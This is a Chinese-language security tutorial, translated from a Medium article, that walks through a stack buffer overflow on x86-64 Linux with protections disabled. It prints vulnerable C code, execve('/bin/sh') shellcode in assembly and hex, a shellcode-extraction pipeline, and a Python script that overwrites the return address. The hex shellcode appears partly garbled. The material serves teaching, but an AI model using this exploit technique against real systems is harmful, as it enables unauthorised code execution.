缓冲区溢出的shellcode 攻击

admin 2023年1月31日11:54:51评论45 views字数 3025阅读10分5秒阅读模式

这个文章是内存马的原理

文章译自https://medium.com/@jain.sm/shell-code-exploit-with-buffer-overflow-8d78cc11f89b

继续上一篇文章《栈上函数的生命周期》,这里解释一下如何利用堆栈上的缓冲区溢出的漏洞

这是一种利用漏洞来破坏内存并转移程序的正常执行流程。这基本上是通过控制EIP来实现的。

我们先从缓冲区溢出非常基本的理解开始。缓冲区溢出是程序编写者忘记对缓冲区大小进行有界检查的情况,这使得攻击者能够放入超过缓冲区所能容纳的数据。然后,这些数据会溢出到相邻的内存区。作为上一篇文章中解释的堆栈布局的一个示例,如果存在漏洞,则可以使缓冲区溢出写入到保存返回地址的内存单元。

看下面的例子:

void copyData (char* data)
{
 char buff[10];
 strcpy(buff,data);
}
int main (int argc, char *argv[])
{
 copyData(argv[1]);
 return 0;
}

函数copyData的参数是一个字符串,并调用strcpy把参数拷贝到一个缓冲区。

像上一篇文章讨论那样,对copyData的调用会进行如下操作:

  1. 把返回地址压入栈中
  2. ebp的值压入栈中(这时ebp的值指向main函数这一桢)
  3. 在栈上分配10个字节的空间给局部变量

现在,如果我们尝试以覆盖栈上的返回地址方式进而改变EIP的方式溢出缓冲区,我们会得到一个coredump文件,里面会包含栈崩溃的消息。

缓冲区溢出的shellcode 攻击

img

EIP被垃圾字符填充,产生coredump时,就会发生这种情况。堆栈如下所示

缓冲区溢出的shellcode 攻击

img

对于这个例子,我们会关闭ASLR(地址空间布局随机化),使用gcc-fno-stack-protector编译选项和-zexecstack标志。这样做是为了展示利用漏洞。否则,堆栈、堆和数据段将成为不可执行的,因此不能从那里运行任何代码。此外,在启用ASLR的情况下,确定shellcode将在运行时加载的地址变得更加困难。

译者注:

二进制防护的手段主要是这样

  1. 栈的安全cookie,主要是通过-fstack-protector
  2. SEH(结构化异常处理),windows机制,在栈上维护一个单链表,一旦检测到栈损坏,请调用相应的处理函数
  3. DEP(防止数据段执行),有从硬件角度和软件角度实现,但系统也会提供接口来修改段属性。
  4. VEH(向量异常处理),windows机制,一般用在堆上,防止堆损坏,而且处理优于SEHLinux一直没有相应机制,导致堆块损坏的崩溃问题非常难定位
  5. ASLR(地址空间布局随机化),同一程序每次启动一个进程,加载库的基地址都不一样,从而比较难预测。上面四种机制针对缓冲区溢出时shellcode在堆和栈上执行的问题,但无法防护ROP(面向返回地址编程)攻击手段,ASLR是针对ROP攻击的。

为了解释简单的shellcode,我们将用汇编语言编写一小段代码。

我们以执行系统调用编号59的汇编代码为例。系统调用号59是sys_execve调用,并接受执行程序(在下面的示例中为/bin/sh)作为输入参数。

global _start
section .text
_start:
xor rax, rax
push rax
mov rdx, rsp
mov rbx, 0x68732f6e69622f2f
push rbx
mov rdi, rsp
push rax
push rdi
mov rsi,rsp
add rax, 59
syscall

编译这段汇编来产生一个执行文件。

nasm -felf64 shell.asm -o shell.o
ld shell.o -o shell

从这里,我可以通过objdump工具来产生shellcode,这样做是为了删除可能被解释为空终止符的错误字符,如x00。

objdump -M Intel -d ./shell |grep ‘[0–9a-f]:’|grep -v ‘file’|cut -f2 -d:|cut -f1–7 -d’ ‘|tr -s ‘ ‘|tr ‘t’ ‘ ‘|sed ‘s/ $//g’|sed ‘s/ /\x/g’|paste -d ‘’ -s |sed ‘s/^/”/’|sed ‘s/$/”/g’

shellcode产生如下

“x48x31xc0x50x48x89xe2x48xbbx2fx2fx62x69x6ex2fx73x68x00x00x00x00x00x00x00x00xe6x48x83xc0x3bx0fx05”

这段shellcode会作为字符串被接下来的程序来加载。

我们现在写一段简单的C程序用来加载和执行shellcode。在这个例子下,函数shell_pwn加载和执行shellcode.这里我们展示如何通过指定输入来溢出函数copytobuffer函数的缓冲区。这个输入精心构造可以改变返回地址,使得它指向shell_pwn函数。

flow.c:

#include <string.h>
#include <stdlib.h>
void shell_pwn()
{
    const char code[] =
    “x48x31xc0x50x48x89xe2x48xbbx2fx2fx62x69x6ex2fx73x68x53x48x89xe7x50x57x48x89xe6x48x83xc0x3bx0fx05”;
    //const char shellcode[] = “x90”;
    ////printf(“Shellcode Length: %dn”, (int)strlen(code));
    ////((void(*)(void))code)();
    int (*ret)() = (int(*)())code;
    ret();
    exit(0);
}
int copytobuffer(char* input)
{
    char buffer[15];
    strcpy (buffer,input);
    return 0;
}
void main (int argc, char *argv[])
{
    int local_variable = 1;
    copytobuffer(argv[1]);
    exit(0);
}

下面截图,我们会用gdb来确定shell_pwn函数的地址

缓冲区溢出的shellcode 攻击

img

缓冲区溢出的shellcode 攻击

img

我们可以看到shell_pwn函数的地址是0x400566。我们使用一个python程序产生输入来溢出缓冲区,并且让栈上的返回地址指向shell_pwn函数

#!/usr/bin/python
from struct import *
buffer = ''
buffer += 'a'*24
buffer += pack("<Q",0x0000000000400566)
f = open("input2.txt""w")
f.write(buffer)

一旦完成,我们就可以看到,使用上面的输入执行了二进制流,就能够通过覆盖堆栈上的返回地址在程序内部执行shell。

缓冲区溢出的shellcode 攻击

img

在接下来的文章中,我们将看到更多的缓冲区溢出攻击,比如创建绑定外壳或反向外壳。我们还将查看是否可以使用Metasploit模块生成shellcode


暗号:51651

原文始发于微信公众号(奶牛安全):缓冲区溢出的shellcode 攻击

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月31日11:54:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   缓冲区溢出的shellcode 攻击http://cn-sec.com/archives/1530698.html

发表评论

匿名网友 填写信息